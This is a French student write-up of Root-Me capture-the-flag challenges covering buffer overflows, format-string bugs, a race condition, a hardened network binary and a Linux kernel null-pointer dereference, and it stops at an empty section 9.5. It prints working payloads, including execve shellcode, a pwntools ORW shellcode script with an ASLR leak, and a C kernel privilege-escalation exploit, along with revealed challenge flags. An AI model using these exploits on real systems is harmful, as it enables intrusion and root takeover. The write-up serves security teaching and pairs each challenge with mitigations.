

Write-up ROOT-ME

MERVYN SAMSAN - LABES PAULIN

10 mai 2026

Table des matières

1	Challenge : ELF x86 - Stack buffer overflow basic 1	4
1.1	Analyse	4
1.2	Processus	4
1.3	Récupération du flag	4
2	Challenge : ELF x86 - Stack buffer overflow basic 2	4
2.1	Présentation du challenge	4
2.2	Analyse du code source	4
2.3	Processus d'exploitation	4
2.4	Récupération du flag	5
2.5	Concept de sécurité : Corruption de pointeur de fonction	5
3	Challenge : ELF x86 - Format string bug basic 1	5
3.1	Présentation du challenge	5
3.2	Analyse initiale	5
3.3	Processus d'exploitation	5
3.3.1	Énumération de la pile	5
3.3.2	Extraction des données brutes	5
3.3.3	Décodage et Endianness	6
3.4	Récupération du flag	6
3.5	Mesures de mitigation	6
4	Challenge : App-System - String bug basic 2	6
4.1	Présentation du challenge	6
4.2	Analyse de la vulnérabilité	6
4.3	Processus d'exploitation	7
4.3.1	Étape 1 : Identification de l'offset et de l'adresse	7
4.3.2	Étape 2 : Stratégie d'écriture	7
4.3.3	Étape 3 : Calcul des longueurs	7
4.4	Récupération du flag	7
4.5	Mitigation et Conclusion	7
5	Challenge : App-System - Buffer Overflow Basic 3	7
5.1	Présentation du challenge	7
5.2	Analyse de la vulnérabilité	8
5.3	Processus d'exploitation	8
5.4	Récupération du flag	8
5.5	Conclusion et Mitigation	8

6	Challenge : ELF x86 - Stack buffer overflow basic 4	8
6.1	Présentation du challenge	8
6.2	Analyse de la vulnérabilité	9
6.3	Processus d'exploitation	9
6.4	Récupération du flag	9
6.5	Concept de sécurité exploité et Mitigations	10
7	Challenge : ELF x86 - Race condition	10
7.1	Présentation du challenge	10
7.2	Analyse de la vulnérabilité	10
7.3	Processus d'exploitation	10
7.4	Récupération du flag	11
7.5	Concept de sécurité et Mitigations	11
8	Challenge : App-Système - Hardened Binary 2	11
8.1	Présentation du challenge	11
8.2	Analyse de la vulnérabilité	11
8.3	Processus d'exploitation	12
8.3.1	Étape 1 : Fuite de l'adresse de la pile (Bypass ASLR)	12
8.3.2	Étape 2 : Le shellcode ORW (Open, Read, Write)	12
8.3.3	Étape 3 : L'esquive des caractères interdits	12
8.4	Récupération du flag	12
8.5	Concept de sécurité et Mitigations	13
9	Challenge : LinKern x86 - Null pointer dereference	13
9.1	Présentation du challenge	13
9.2	Analyse de la vulnérabilité	13
9.3	Processus d'exploitation	14
9.3.1	Étape 1 : Contournement de kptr_restrict	14
9.3.2	Étape 2 : Écriture du code d'exploitation	14
9.4	Récupération du flag	15
9.5	Concepts de sécurité et Mitigations	15
10	Challenge : LinKern x86 - Buffer overflow basic 1	16
10.1	Présentation du challenge	16
10.2	Analyse de la vulnérabilité	16
10.3	Processus d'exploitation	16
10.3.1	Étape 1 : Contournement de kptr_restrict	16
10.3.2	Étape 2 : Écriture de l'exploit	16
10.4	Récupération du flag	17
10.5	Concepts de sécurité et Mitigations	18
11	Challenge : App-Système - Format String & Bypass Avancé (ch23)	18
11.1	Présentation du challenge	18
11.2	Analyse de la vulnérabilité et Obstacles	18
11.3	Processus d'exploitation	18
11.3.1	Étape 1 : La chaîne de pointeurs	18
11.3.2	Étape 2 : Bypass de l'Anti-Spam	19
11.3.3	Étape 3 : Le Shellcode et l'extraction	19
11.4	Récupération du flag	19
11.5	Conclusion et Mitigations	20

12 Challenge : LinKern x86 - basic ROP	20
12.1 Présentation du challenge	20
12.2 Analyse de la vulnérabilité et de la protection SMEP	20
12.3 Processus d'exploitation	20
12.3.1 Étape 1 : Localisation des fonctions et des gadgets	20
12.3.2 Étape 2 : Sauvegarde du contexte (Trap Frame)	21
12.3.3 Étape 3 : Construction de la chaîne ROP	21
12.4 Récupération du flag	21
12.5 Concepts de sécurité et Mitigations	21
13 Challenge : LinKern ARM - syscall vulnérable	21
13.1 Présentation du challenge	21
13.2 Analyse de l'environnement et de la vulnérabilité	22
13.3 Processus d'exploitation : Le contournement du PXN	22
13.3.1 Étape 1 : Récupération des adresses critiques	22
13.3.2 Étape 2 : Le micro-exploit en pur Assembleur	22
13.3.3 Étape 3 : Injection Base64 via UART	23
13.4 Récupération du flag et Mitigations	23

1 Challenge : ELF x86 - Stack buffer overflow basic 1

1.1 Analyse

On remarque dans le code la présence de la fonction `fgets(buf, 45, stdin)`. Le tampon `buf` possède une taille statique de 40 octets. On a `fgets` configuré pour lire jusqu'à 45 octets, nous créant ainsi une vulnérabilité de dépassement de 5 octets sur la pile.

Une variable entière nommée `check`, initialisée à `0x04030201`, est située après le tampon en mémoire. On pourra alors ouvrir un shell.

1.2 Processus

Par `gdb`, on a la structure de la stack. Par désassemblage de la fonction `main`, on a identifié les offsets suivants : Par le calcul qu'on a vu en cours on obtient : $0x44 - 0x1c = 0x28$ (soit 40 octets). Pour réussir l'exploitation, il est nécessaire de remplir le tampon avec 40 octets de bourrage, soit le padding suivis de la valeur cible `0xdeadbeef` au format Little-Endian (`\xef\xbe\xad\xde`).

La commande finale utilisée est :

```
1 (python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde'); cat) | ./ch13
```

1.3 Récupération du flag

Une fois le shell ouvert, on tape la commande `"whoami"` pour savoir si on a bien le shell avec les privilèges. Puis on a avait plus qu'à trouvé le `.passwd`.

2 Challenge : ELF x86 - Stack buffer overflow basic 2

2.1 Présentation du challenge

Ce défi propose d'exploiter un binaire où le flux d'exécution est contrôlé par un pointeur de fonction local. L'objectif est de détourner cet appel vers une fonction `shell()` présente dans le binaire mais non appelée par le cycle normal du programme.

2.2 Analyse du code source

Le code source révèle la structure suivante dans la fonction `main` :

- Un pointeur de fonction `void (*func)()` initialisé sur la fonction `sup`.
- Un tampon `char buf[128]` de 128 octets.
- Une instruction `fgets(buf, 133, stdin)` permettant une lecture de 133 octets.

L'analyse de la pile montre que le compilateur a placé le pointeur `func` immédiatement après le tampon `buf`. Le dépassement autorisé de 5 octets ($133 - 128 = 5$) est suffisant pour réécrire les 4 octets du pointeur de fonction sur une architecture 32 bits.

2.3 Processus d'exploitation

L'objectif est de remplacer l'adresse de `sup` par celle de `shell`. Via GDB, nous identifions l'adresse de la cible :

```
1 (gdb) p shell
2 $1 = {<text variable, no debug info>} 0x08048516
```

La construction du *payload* nécessite 128 octets de bourrage pour remplir `buf`, suivis de l'adresse `0x08048516` en Little-Endian.

2.4 Récupération du flag

La commande finale injectée est :

```
1 (python3 -c "import sys; sys.stdout.buffer.write(b'A'*128 + b'\x16\x85\x04\x08'); cat) | ./ch15
```

2.5 Concept de sécurité : Corruption de pointeur de fonction

Ce challenge illustre une variante du *Stack Overflow*. Ici, l'attaquant ne cible pas directement le registre EIP (Saved Return Address), mais une donnée de contrôle (*Control Data*) située sur la pile. **Mitigation** : L'utilisation de `const` pour les pointeurs de fonction ou l'activation des *Stack Canaries* permettrait de détecter cette corruption avant l'appel à la fonction.

MDP : B33r1sSoG0oD4y0urBr4iN

3 Challenge : ELF x86 - Format string bug basic 1

3.1 Présentation du challenge

Ce challenge traite d'une vulnérabilité de type **Format String** (CWE-134). Contrairement aux débordements de tampon (*buffer overflows*), cette faille exploite une mauvaise utilisation des fonctions de la famille `printf()`. L'objectif est de réaliser une fuite d'information (*Information Leak*) pour récupérer un secret chargé en mémoire vive.

3.2 Analyse initiale

L'examen du code source (`ch5.c`) met en évidence les points suivants :

- Le programme ouvre le fichier `.passwd` et stocke son contenu dans une variable locale `buffer[32]` sur la pile (*stack*).
- L'instruction vulnérable identifiée est : `printf(argv[1]);`.
- L'absence de spécificateur de format fixe (ex : `%s`) permet à l'utilisateur d'injecter ses propres opérateurs de formatage via les arguments de la ligne de commande.

3.3 Processus d'exploitation

L'exploitation s'est déroulée en trois phases distinctes :

3.3.1 Énumération de la pile

Nous avons injecté une série de spécificateurs `%p` pour visualiser le contenu de la pile et localiser le tampon `buffer` :

```
1 ./ch5 "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
```

L'analyse a révélé que des données correspondant à des caractères ASCII apparaissaient à partir de la **11ème position** sur la pile.

3.3.2 Extraction des données brutes

L'utilisation du spécificateur `%s` provoquant un *Segmentation Fault* (tentative de lecture d'une adresse invalide), nous avons extrait les valeurs hexadécimales brutes :

```
1 ./ch5 "%11\${08x}.$12\${08x}.$13\${08x}.$14\${08x}"
2 Resultat obtenu : 39617044.28293664.6d617045.bf000a64
```

3.3.3 Décodage et Endianness

Le processeur utilisant une architecture **Little-Endian**, les octets de chaque bloc de 32 bits sont inversés en mémoire. Le décodage suit la logique suivante :

- 0x39617044 → 44 70 61 39 (ASCII) → **Dpa9**
- 0x28293664 → 64 36 29 28 (ASCII) → **d6)(**
- 0x6d617045 → 45 70 61 6d (ASCII) → **Epam**
- 0xbf000a64 → 64 0a 00 bf (ASCII) → **d**

3.4 Récupération du flag

En concaténant les segments traduits, le secret final permettant de valider le challenge est : Dpa9d6)(Epamd

3.5 Mesures de mitigation

Pour prévenir cette vulnérabilité, il est impératif de ne jamais passer une variable contrôlée par l'utilisateur comme premier argument d'une fonction de formatage.

- **Correction logicielle** : Utiliser systématiquement `printf("%s", argv[1]);`
- **Sécurité compilateur** : Activer l'option `-Wformat-security` avec GCC.

4 Challenge : App-System - String bug basic 2

4.1 Présentation du challenge

Le défi *String bug basic 2* est un exercice classique de sécurité logicielle sur architecture x86 (32-bit). L'objectif est d'exploiter une vulnérabilité de type chaîne de format (*Format String*) afin de modifier la valeur d'une variable locale nommée `check` initialisée à 0x04030201. Le succès de l'exploitation déclenche l'exécution d'un shell privilégié via la fonction `system()`.

Caractéristique	Détail
Binaire	ch14
Architecture	ELF 32-bit LSB executable, Intel 80386
Vulnérabilité	Format String (CWE-134)
Objectif	Écraser <code>check</code> avec 0xdeadbeef

TABLE 1 – Spécifications techniques du challenge.

4.2 Analyse de la vulnérabilité

L'analyse du code source (ou la rétro-ingénierie du binaire) révèle l'utilisation fautive de la fonction `printf` :

Listing 1 – Segment vulnérable dans ch14.c

```
1  char buffer[512];
2  snprintf(buffer, sizeof(buffer), "%s", argv[1]);
3  printf(buffer); // <--- Point d'injection
```

Puisque le premier argument de `printf` est contrôlé par l'utilisateur sans spécificateur de format imposé (comme `%s`), il est possible d'utiliser des opérateurs de formatage pour lire ou écrire dans la mémoire de la pile.

4.3 Processus d'exploitation

4.3.1 Étape 1 : Identification de l'offset et de l'adresse

En envoyant une chaîne reconnaissable (AAAA) suivie de spécificateurs %p, nous identifions l'index de notre buffer sur la pile.

```
1 ./ch14 "AAAA%9\ $p"  
2 # Resultat : AAAA0x41414141
```

L'offset est identifié à la position 9. Parallèlement, le programme nous indique l'adresse dynamique de la variable cible : 0xbffffa88.

4.3.2 Étape 2 : Stratégie d'écriture

Pour écrire la valeur 0xdeadbeef, nous utilisons le modificateur %hn (écriture de 2 octets).

- **Poids faible (Low)** : 0xbeef (48879₁₀) à l'adresse 0xbffffa88.
- **Poids fort (High)** : 0xdead (57005₁₀) à l'adresse 0xbffffa8a.

4.3.3 Étape 3 : Calcul des longueurs

Le payload doit commencer par les deux adresses cibles (8 octets). Les longueurs des champs de caractères sont calculées comme suit :

1. 48879 – 8 = 48871 octets pour la première écriture.
2. 57005 – 48879 = 8126 octets pour la seconde écriture.

4.4 Récupération du flag

L'exécution du payload final permet de satisfaire la condition de victoire :

```
1 ./ch14 $(echo -ne "\x88\xfa\xff\xbf\x8a\xfa\xff\xbf%48871c%9\ $hn%8126c  
2 %10\ $hn")
```

Une fois le shell obtenu, le flag est lu dans le fichier .passwd :

```
1 cat .passwd  
2 # Flag : [CONTENU_DU_FLAG]
```

4.5 Mitigation et Conclusion

La correction de cette vulnérabilité est triviale : il suffit de ne jamais passer une variable utilisateur directement comme premier argument d'une fonction de formatage. La syntaxe sécurisée est `printf("%s", buffer);`. Au niveau système, l'utilisation de *FORTIFY_SOURCE* permet également de prévenir certaines de ces attaques au moment de l'exécution.

5 Challenge : App-System - Buffer Overflow Basic 3

5.1 Présentation du challenge

Le défi ch16 présente un binaire ELF 32-bit dont l'objectif est d'invoquer une fonction `shell()`[cite : 1, 20]. Cette fonction est conditionnée par la valeur d'une variable locale nommée `check`, qui doit être égale à 0xbffffabc[cite : 7]. Le programme lit l'entrée utilisateur caractère par caractère dans une boucle infinie[cite : 14].

5.2 Analyse de la vulnérabilité

L'analyse du code source et du désassemblage via GDB révèle une vulnérabilité de type **Buffer Underflow**. Bien qu'un tampon `buffer[64]` soit présent, la structure de la pile est la suivante :

- `count` (index de remplissage) : `ebp - 0x54` [cite : 7]
- `check` (variable cible) : `ebp - 0x50` [cite : 7]
- `buffer` (début du tampon) : `ebp - 0x4c` [cite : 15]

On constate que la variable `check` est située **avant** le buffer en mémoire. L'exploitation classique par dépassement positif (overflow) est donc impossible. Cependant, le programme gère le caractère spécial `0x08` (Backslash/Retour arrière) en décrémentant l'index `count` sans vérifier si celui-ci devient négatif[cite : 20].

5.3 Processus d'exploitation

L'attaque repose sur la manipulation de l'index `count` pour pointer vers la variable `check` située 4 octets avant le début du buffer ($0x50 - 0x4c = 4$).

1. **Recul de l'index** : En envoyant quatre fois le caractère hexadécimal `\x08`, la valeur de `count` passe de 0 à -4.
2. **Écrasement de la cible** : L'instruction `buffer[count] = i` écrit alors les octets suivants directement à l'emplacement mémoire de `check`.
3. **Valeur injectée** : On transmet l'adresse `0xbffffabc` en format Little-Endian, soit `\xbc\xfa\xff\xbf`.

5.4 Récupération du flag

Le recours à la commande `cat` est nécessaire pour maintenir l'entrée standard ouverte et interagir avec le shell une fois la condition validée[cite : 14, 20].

Listing 2 – Exploitation finale du challenge ch16

```
1 app-systeme-ch16@challenge02:~$ (python -c 'print "\x08"*4 + "\xbc\xfa\xff\xbf"; cat) | ./ch16
2 Enter your name:
3 whoami
4 app-systeme-ch16-cracked
5 cat .passwd
6 [CONTENU_DU_FLAG]
```

5.5 Conclusion et Mitigation

Ce challenge illustre une variante critique du dépassement de tampon : l'Underflow. Pour prévenir cette attaque, le développeur doit impérativement vérifier les bornes inférieures des index de tableaux (`if (count > 0) count--`)[cite : 10]. L'utilisation de types non-signés (`size_t`) pour les compteurs peut également limiter ce type de comportement imprévu.

6 Challenge : ELF x86 - Stack buffer overflow basic 4

6.1 Présentation du challenge

Ce défi (binaire `ch8`) présente une vulnérabilité classique de débordement de tampon via les variables d'environnement. Toutefois, l'exploitation est complexifiée par un mécanisme architectural spécifique lié au retour de structures volumineuses par valeur en langage C, impliquant un pointeur caché sur la pile.

6.2 Analyse de la vulnérabilité

Le code source révèle une fonction `GetEnv(void)` qui récupère quatre variables d'environnement (`HOME`, `USERNAME`, `SHELL`, `PATH`) et les copie séquentiellement dans une structure locale `EnvInfo` contenant quatre tampons de 128 octets.

Listing 3 – Fonction vulnérable

```
1 struct EnvInfo GetEnv(void) {
2     struct EnvInfo env;
3     // ...
4     strcpy(env.username, getenv("USERNAME"));
5     strcpy(env.shell, getenv("SHELL"));
6     strcpy(env.path, getenv("PATH"));
7     return env;
8 }
```

L'utilisation de `strcpy()` sans vérification de la taille des données d'entrée introduit un *Buffer Overflow* évident.

Contrainte architecturale : La fonction `GetEnv` retourne la structure `EnvInfo` complète (512 octets) par valeur. En architecture x86 (System V ABI), une structure de cette taille ne tenant pas dans les registres, la fonction appelante (`main`) passe un pointeur caché en argument (à l'adresse `ebp + 8`) indiquant où copier la structure finale. Le prologue de `GetEnv` utilise l'instruction assembleur `rep movsl` pour effectuer cette copie juste avant l'instruction `ret`.

6.3 Processus d'exploitation

Une tentative naïve consistant à saturer la variable `USERNAME` échoue systématiquement. En effet, la copie s'effectuant séquentiellement, les appels suivants à `strcpy` pour `SHELL` et `PATH` viennent écraser les données débordées de `USERNAME`, détruisant ainsi l'adresse de retour (EIP) forgée par l'attaquant.

La stratégie optimale consiste à exploiter la toute **dernière variable copiée** : `PATH`. L'analyse de la pile montre la disposition suivante :

- `ebp - 156` : Début de `env.path`
- `ebp + 4` : EIP (Saved Return Address)
- `ebp + 8` : Pointeur de destination de la structure (Cible de `rep movsl`)

Le vecteur d'attaque se décompose ainsi :

1. **Stockage du Shellcode :** Le shellcode est placé dans la variable `USERNAME` (qui ne sera pas corrompue). Son adresse en mémoire est identifiée (ex : `0xbffff56c`).
2. **Débordement contrôlé :** La variable `PATH` est inondée avec 160 octets de bourrage (`156 + 4`) pour atteindre EIP, qui est écrasé par l'adresse du shellcode.
3. **Réparation de la pile :** Pour éviter que l'instruction `rep movsl` ne lève une erreur de segmentation avant l'exécution de `ret`, les 4 octets suivants le payload viennent écraser le pointeur caché (`ebp + 8`) avec une adresse valide en mémoire (ex : l'adresse d'origine `0xbffff750`).

6.4 Récupération du flag

Le payload final maintient un chemin valide pour `PATH` afin d'assurer le fonctionnement des commandes de base, puis injecte le bourrage et les adresses :

Listing 4 – Injection et exécution de l'exploit

```
1 export USERNAME='python -c \'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")\''
```

```

2
3 export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  :/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:'python -
  c 'print("\x6c\x5\xff\xbf"*11+"\x50\x7\xff\xbf")' '
4
5 ./ch8
6 bash-4.4$ cat .passwd

```

6.5 Concept de sécurité exploité et Mitigations

Ce défi met en lumière l'importance de comprendre le *Control Flow* bas niveau et l'ABI du compilateur. L'écrasement collatéral des pointeurs locaux (ici le pointeur de structure) montre qu'un buffer overflow peut altérer la logique interne du programme avant même le détournement du flux d'exécution. **Mitigations :**

- Remplacement de `strcpy()` par `strncpy()` avec limitation stricte à la taille des tampons de la structure.
- Utilisation de *Stack Canaries* pour détecter la corruption de la trame de pile avant la restauration des pointeurs ou le retour de fonction.

7 Challenge : ELF x86 - Race condition

7.1 Présentation du challenge

Ce défi porte sur une vulnérabilité de type **condition de concurrence** (*Race Condition*). L'objectif est de lire le contenu d'un fichier protégé (`.passwd`) auquel l'utilisateur courant n'a pas accès, en exploitant un programme binaire possédant les droits SUID. La faille repose sur un intervalle de temps exploitable (fenêtre de concurrence) lors de la manipulation d'un fichier temporaire.

7.2 Analyse de la vulnérabilité

L'analyse du code source (ou du comportement du binaire) révèle que le programme effectue les opérations suivantes de manière séquentielle :

1. Création ou ouverture d'un fichier temporaire défini de manière statique (`/tmp/tmp_file.txt`).
2. Ouverture et lecture du fichier cible protégé (`.passwd`).
3. Copie du mot de passe lu vers le fichier temporaire.
4. Pause forcée via l'instruction `usleep(250000)` (0,25 seconde).
5. Suppression du fichier temporaire avec la fonction `unlink()`.

La vulnérabilité se situe exactement au moment de la pause. Le délai de 250 millisecondes crée une fenêtre de vulnérabilité pendant laquelle le fichier `/tmp/tmp_file.txt` existe bel et bien sur le disque avec le secret en clair, avant d'être irrémédiablement supprimé.

7.3 Processus d'exploitation

Il existe deux méthodes pour exploiter cette faille (l'interception temporelle avec une boucle `while`, ou l'abus de permissions). La méthode la plus fiable et élégante consiste à abuser du **Sticky Bit** inhérent au répertoire `/tmp` sous Linux.

Ce droit spécial (symbolisé par le `t` dans `drwxrwxrwt`) implique qu'un utilisateur ne peut supprimer qu'un fichier dont il est le propriétaire exclusif. Puisque le programme vulnérable (tournant avec les droits SUID) va tenter de supprimer le fichier temporaire à la fin, l'astuce consiste à créer ce fichier nous-mêmes à l'avance.

1. **Préparation** : On se place dans le répertoire temporaire et on crée le fichier cible. On lui attribue des droits de lecture et d'écriture totaux (`chmod 777`) pour que le programme cible ait la permission d'y écrire le mot de passe.
2. **Exécution** : On lance le binaire vulnérable. Il va ouvrir notre fichier, copier le contenu de `.passwd` dedans, faire sa pause, puis tenter d'appeler `unlink()`.
3. **Échec de la suppression** : La suppression échoue silencieusement car le programme (tournant sous l'identité du créateur du challenge) n'est pas propriétaire du fichier que nous avons créé avec notre propre utilisateur.

7.4 Récupération du flag

Les commandes successives pour réaliser cette exploitation sont :

```
1 cd /tmp
2 touch tmp_file.txt
3 chmod 777 tmp_file.txt
4 /challenge/app-systeme/ch12/ch12
5 cat /tmp/tmp_file.txt
```

Le fichier n'ayant pas pu être détruit par le programme, la commande `cat` nous affiche le flag en clair.

7.5 Concept de sécurité et Mitigations

Ce challenge illustre les dangers liés à l'utilisation de noms de fichiers prévisibles dans des répertoires temporaires partagés (vulnérabilité de type *Insecure Temporary File* - CWE-377).

Mitigations :

- **Fichiers uniques** : Remplacer `open()` avec un nom statique par des fonctions sécurisées comme `mkstemp()`, qui génèrent un fichier temporaire unique avec des permissions restrictives (lecture/écriture pour le propriétaire uniquement).
- **Conception** : Ne jamais laisser de délai non justifié (comme `usleep`) lors de la manipulation de données sensibles, et éviter d'utiliser le système de fichiers comme zone de transit si les données peuvent être conservées et manipulées directement en mémoire vive.

8 Challenge : App-Système - Hardened Binary 2

8.1 Présentation du challenge

Ce défi propose d'exploiter un binaire ELF 32-bit (ch22) possédant des privilèges SGID. L'objectif est de lire le contenu du fichier `.passwd`. Contrairement aux défis locaux standards, ce binaire est exécuté sous forme de service réseau sur le port 56522. La protection ASLR (*Address Space Layout Randomization*) est activée sur le système, rendant les adresses mémoires dynamiques à chaque exécution.

8.2 Analyse de la vulnérabilité

L'analyse comportementale et le désassemblage du binaire mettent en évidence deux failles majeures exploitées consécutivement :

- **Format String (CWE-134)** : Une utilisation non sécurisée de la fonction `printf(buffer)` permet de lire le contenu de la pile (*Memory Leak*).
- **Buffer Overflow (CWE-120)** : L'utilisation de la fonction `strcpy()` permet de copier une entrée utilisateur dans un tampon de 1024 octets sans vérification de taille, permettant l'écrasement du pointeur d'instruction EIP.

L'exploitation est cependant entravée par deux contraintes environnementales sévères :

1. **Filtre de caractères (*Badchars*)** : Le programme transforme toutes les lettres **n** (`\x6e`) et **N** (`\x4e`) en octets nuls (`\x00`). Cela empêche l'utilisation classique de `%n` pour la Format String, et casse les shellcodes génériques (ex : `/bin/sh`).
2. **Paranoïa du Shell** : Le lancement d'un `/bin/sh` via un Pseudo-Terminal (PTY) local provoque une chute volontaire des privilèges SGID par le shell lui-même (mesure de sécurité de Bash/Dash).

8.3 Processus d'exploitation

Pour vaincre l'ASLR et les restrictions, une attaque déterministe (Zéro Brute-Force) a été automatisée avec le framework Python `Pwntools`. Le processus se divise en trois étapes :

8.3.1 Étape 1 : Fuite de l'adresse de la pile (Bypass ASLR)

En envoyant la sonde `1_%1$p`, la faille *Format String* révèle le premier pointeur de la pile au moment de l'appel à `printf`. Cette adresse correspond exactement au début de notre buffer injecté. On ajoute à cette adresse un *offset* de 52 octets (47 de bourrage + 1 initial + 4 d'EIP) pour calculer précisément l'adresse de retour cible.

8.3.2 Étape 2 : Le shellcode ORW (Open, Read, Write)

Puisque l'invocation d'un shell (`execve`) ou d'un processus externe (`cat`) entraîne une perte des droits SGID, la solution consiste à ne générer aucun nouveau processus. Un shellcode de type **ORW** est construit : le programme utilise ses propres droits pour ouvrir (`open`), lire (`read`) et afficher (`write`) directement le fichier `.passwd` en mémoire vive.

8.3.3 Étape 3 : L'esquive des caractères interdits

Le shellcode ORW brut est passé dans l'encodeur de `Pwntools` avec la liste des *badchars* (`\x00\x6e\x4e\x0a`). Le framework génère un code polymorphe capable de s'auto-décoder en mémoire sans jamais utiliser ces caractères.

8.4 Récupération du flag

L'attaque finale cible directement le service réseau pour conserver un environnement pur, sans altération des droits SGID causée par les processus locaux.

Listing 5 – Script final via `Pwntools`

```
1 from pwn import *
2
3 context.clear(arch='i386', os='linux')
4
5 # 1. Generation du shellcode ORW "Zero-Process"
6 sc = "sub esp, 0x100\n"
7 sc += shellcraft.open('.passwd')
8 sc += shellcraft.read('eax', 'esp', 100)
9 sc += shellcraft.write(1, 'esp', 100)
10 sc += shellcraft.exit(0)
11 raw_sc = asm(sc)
12
13 # 2. Encodage anti-badchars (\x00, n, N, \n)
14 badchars = b'\x00\x6e\x4e\x0a'
15 shellcode = encode(raw_sc, badchars)
16
```

```

17 # 3. Attaque sur le port reseau (Bypass PTY)
18 p = remote('127.0.0.1', 56522)
19
20 # 4. Leak de l'adresse (Bypass ASLR)
21 p.sendline(b"1_%1$p")
22 leak_str = p.recvline().decode().split("_")[1].strip()
23 target_addr = int(leak_str, 16) + 52
24
25 # Padding si la nouvelle adresse contient un badchar
26 padding = b""
27 while any(b in p32(target_addr) for b in badchars):
28     target_addr += 4
29     padding += b"\x90" * 4
30
31 # 5. Injection et recuperation du flag
32 payload = b"0" + b"A"*47 + p32(target_addr) + padding + (b"\x90"*32) +
    shellcode
33 p.sendline(payload)
34 print(p.recvall(timeout=2).decode('utf-8', errors='ignore'))

```

8.5 Concept de sécurité et Mitigations

Ce défi illustre le chaînage complexe de vulnérabilités (Memory Leak + Arbitrary Code Execution) tout en soulignant la résilience des systèmes modernes face à l'usurpation de privilèges (drop SGID/SUID).

Mitigations :

- **Format String** : Utiliser systématiquement des formats fixes (ex : `printf("%s", buffer)`).
- **Buffer Overflow** : Remplacer `strcpy()` par des fonctions vérifiant les limites mémoire comme `strncpy()` ou `snprintf()`.
- **Architecture** : Activer le bit NX (*Non-Executable stack*) au moment de la compilation pour empêcher l'exécution de shellcodes déposés sur la pile.

9 Challenge : LinKern x86 - Null pointer dereference

9.1 Présentation du challenge

Ce défi nous introduit à l'exploitation de vulnérabilités au niveau du noyau Linux (Ring 0). L'objectif est d'exploiter un module noyau personnalisé (`tostring`) vulnérable à un déréférencement de pointeur nul (*Null Pointer Dereference*) afin d'exécuter du code avec les privilèges les plus élevés et d'obtenir un shell `root`.

Caractéristique	Détail
Architecture	x86 (32-bit)
Vulnérabilité	Null Pointer Dereference (CWE-476)
Protections inactives	SMEP, SMAP, KASLR, <code>mmap_min_addr</code>
Protections actives	KALLSYMS restriction (<code>kptr_restrict=1</code>)

TABLE 2 – Spécifications techniques du challenge LinKern x86.

9.2 Analyse de la vulnérabilité

L'analyse du code source du module `tostring.c` révèle le traitement des commandes utilisateur dans la fonction `tostring_write`. Lorsqu'une chaîne commençant par dix astérisques

et suivie de la lettre S (*****S) est envoyée au périphérique, le module réinitialise la pile interne :

Listing 6 – Déréférencement du pointeur de fonction dans tostring.c

```
1 // Dans tostring_write()
2 case 'S':
3     printk("Tostring: Delete stack\n");
4     kfree(tostring->tostring_stack);
5     tostring->tostring_read=NULL; // <-- Pointeur defini sur NULL (0x0)
6     break;
7
8 // Dans tostring_read()
9 static ssize_t tostring_read(struct file *f, char __user *buf, size_t
10     len, loff_t *off) {
11     // Appel direct du pointeur sans verification
12     return((tostring->tostring_read)(f, buf, len, off));
13 }
```

Si un utilisateur appelle la fonction `read()` sur le périphérique `/dev/tostring` juste après avoir envoyé la commande S, le noyau tentera d'exécuter aveuglément les instructions situées à l'adresse mémoire `0x00000000` avec les privilèges Ring 0.

9.3 Processus d'exploitation

L'exploitation nécessite d'outrepasser la protection `KALLSYMS` qui masque les adresses des fonctions critiques, puis de placer notre charge utile à l'adresse zéro.

9.3.1 Étape 1 : Contournement de `kptr_restrict`

Les adresses des fonctions `commit_creds` et `prepare_kernel_cred` sont masquées (remplies de zéros) dans `/proc/kallsyms`. Puisque KASLR est désactivé, ces adresses sont statiques. Nous avons créé un environnement de débogage local en relançant la machine QEMU avec l'argument noyau `kptr_restrict=0` pour extraire les vraies adresses :

- `commit_creds` : `0xc1070e80`
- `prepare_kernel_cred` : `0xc10711f0`

9.3.2 Étape 2 : Écriture du code d'exploitation

Le système ne possédant pas les protections `SMEP` (qui empêcherait le noyau d'exécuter du code situé dans l'espace utilisateur) ni `mmap_min_addr` (qui empêcherait d'allouer la page zéro), nous pouvons allouer la page `0x0` depuis l'espace utilisateur et y placer une fonction C effectuant l'escalade de privilèges.

Listing 7 – `Exploit.c` : Escalade de privilèges et déclenchement

```
1 #include <stdio.h>
2 #include <string.h>
3 #include <fcntl.h>
4 #include <unistd.h>
5 #include <sys/mman.h>
6
7 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long)
8 ;
9 typedef unsigned long __attribute__((regparm(3))) (*
10     _prepare_kernel_cred)(unsigned long);
11
12 // Fonction placee a l'adresse 0x0
```

```

11 void get_root(void) {
12     _commit_creds commit_creds = (_commit_creds)0xc1070e80;
13     _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0
        xc10711f0;
14     commit_creds(prepare_kernel_cred(0));
15 }
16
17 int main(void) {
18     int fd;
19     char dump[16];
20
21     // 1. Allocation de la page 0x0 et copie du payload
22     void *zero_page = mmap((void *)0, 4096, PROT_READ | PROT_WRITE |
        PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
23     memcpy(zero_page, &get_root, 128);
24
25     // 2. Ecrasement du pointeur de fonction
26     fd = open("/dev/tostring", O_WRONLY);
27     write(fd, "*****S", 11);
28     close(fd);
29
30     // 3. Declenchement du bug (execution a 0x0 en Ring 0)
31     fd = open("/dev/tostring", O_RDONLY);
32     read(fd, dump, sizeof(dump));
33     close(fd);
34
35     // 4. Lancement du shell si l'attaque a reussi
36     if (getuid() == 0) {
37         execl("/bin/sh", "sh", NULL);
38     }
39     return 0;
40 }

```

9.4 Récupération du flag

Le code a été compilé statiquement sur la machine hôte pour s'adapter à l'environnement minimaliste de la machine virtuelle :

```

1 gcc -m32 -static -O2 exploit.c -o exploit

```

Une fois transféré via le dossier partagé (/mnt/share) et copié dans le /tmp de la VM pour contourner les restrictions de montage, l'exécution a immédiatement fourni un shell root (#), permettant de lire le fichier passwd.img.

9.5 Concepts de sécurité et Mitigations

